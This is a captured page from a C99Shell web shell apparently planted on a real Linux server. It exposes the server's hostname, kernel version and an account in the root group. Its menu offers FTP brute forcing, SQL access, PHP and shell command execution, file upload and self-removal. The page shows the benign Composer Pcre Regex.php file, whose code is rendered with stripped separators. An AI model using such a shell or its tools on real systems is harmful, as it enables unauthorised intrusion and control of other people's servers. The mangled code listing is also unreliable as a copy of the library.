!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/php/Composer/Pcre/   drwxr-xr-x
Free 29 GB of 117.98 GB (24.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Regex.php (4.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of composer/pcre.
 *
 * (c) Composer <https://github.com/composer>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace Composer\Pcre;

class 
Regex
{
    
/**
     * @param non-empty-string $pattern
     * @param string $subject
     * @param int    $offset
     * @return bool
     */
    
public static function isMatch($pattern$subject$offset 0)
    {
        return (bool) 
Preg::match($pattern$subject$matches0$offset);
    }

    
/**
     * @param non-empty-string $pattern
     * @param string $subject
     * @param int    $flags PREG_UNMATCHED_AS_NULL, only available on PHP 7.2+
     * @param int    $offset
     * @return MatchResult
     */
    
public static function match($pattern$subject$flags 0$offset 0)
    {
        if ((
$flags PREG_OFFSET_CAPTURE) !== 0) {
            throw new 
\InvalidArgumentException('PREG_OFFSET_CAPTURE is not supported as it changes the return type, use matchWithOffsets() instead');
        }

        
$count Preg::match($pattern$subject$matches$flags$offset);

        return new 
MatchResult($count$matches);
    }

    
/**
     * Runs preg_match with PREG_OFFSET_CAPTURE
     *
     * @param non-empty-string $pattern
     * @param string $subject
     * @param int    $flags PREG_UNMATCHED_AS_NULL, only available on PHP 7.2+
     * @param int    $offset
     * @return MatchWithOffsetsResult
     */
    
public static function matchWithOffsets($pattern$subject$flags 0$offset 0)
    {
        
$count Preg::matchWithOffsets($pattern$subject$matches$flags$offset);

        return new 
MatchWithOffsetsResult($count$matches);
    }

    
/**
     * @param non-empty-string $pattern
     * @param string $subject
     * @param int    $flags PREG_UNMATCHED_AS_NULL, only available on PHP 7.2+
     * @param int    $offset
     * @return MatchAllResult
     */
    
public static function matchAll($pattern$subject$flags 0$offset 0)
    {
        if ((
$flags PREG_OFFSET_CAPTURE) !== 0) {
            throw new 
\InvalidArgumentException('PREG_OFFSET_CAPTURE is not supported as it changes the return type, use matchAllWithOffsets() instead');
        }

        if ((
$flags PREG_SET_ORDER) !== 0) {
            throw new 
\InvalidArgumentException('PREG_SET_ORDER is not supported as it changes the return type');
        }

        
$count Preg::matchAll($pattern$subject$matches$flags$offset);

        return new 
MatchAllResult($count$matches);
    }

    
/**
     * Runs preg_match_all with PREG_OFFSET_CAPTURE
     *
     * @param non-empty-string $pattern
     * @param string $subject
     * @param int    $flags PREG_UNMATCHED_AS_NULL, only available on PHP 7.2+
     * @param int    $offset
     * @return MatchAllWithOffsetsResult
     */
    
public static function matchAllWithOffsets($pattern$subject$flags 0$offset 0)
    {
        
$count Preg::matchAllWithOffsets($pattern$subject$matches$flags$offset);

        return new 
MatchAllWithOffsetsResult($count$matches);
    }
    
/**
     * @param string|string[] $pattern
     * @param string|string[] $replacement
     * @param string          $subject
     * @param int             $limit
     * @return ReplaceResult
     */
    
public static function replace($pattern$replacement$subject$limit = -1)
    {
        
$result Preg::replace($pattern$replacement$subject$limit$count);

        return new 
ReplaceResult($count$result);
    }

    
/**
     * @param string|string[] $pattern
     * @param callable        $replacement
     * @param string          $subject
     * @param int             $limit
     * @param int             $flags PREG_OFFSET_CAPTURE or PREG_UNMATCHED_AS_NULL, only available on PHP 7.4+
     * @return ReplaceResult
     */
    
public static function replaceCallback($pattern$replacement$subject$limit = -1$flags 0)
    {
        
$result Preg::replaceCallback($pattern$replacement$subject$limit$count$flags);

        return new 
ReplaceResult($count$result);
    }

    
/**
     * Available from PHP 7.0
     *
     * @param array<string, callable> $pattern
     * @param string $subject
     * @param int    $limit
     * @param int    $flags PREG_OFFSET_CAPTURE or PREG_UNMATCHED_AS_NULL, only available on PHP 7.4+
     * @return ReplaceResult
     */
    
public static function replaceCallbackArray($pattern$subject$limit = -1$flags 0)
    {
        
$result Preg::replaceCallbackArray($pattern$subject$limit$count$flags);

        return new 
ReplaceResult($count$result);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--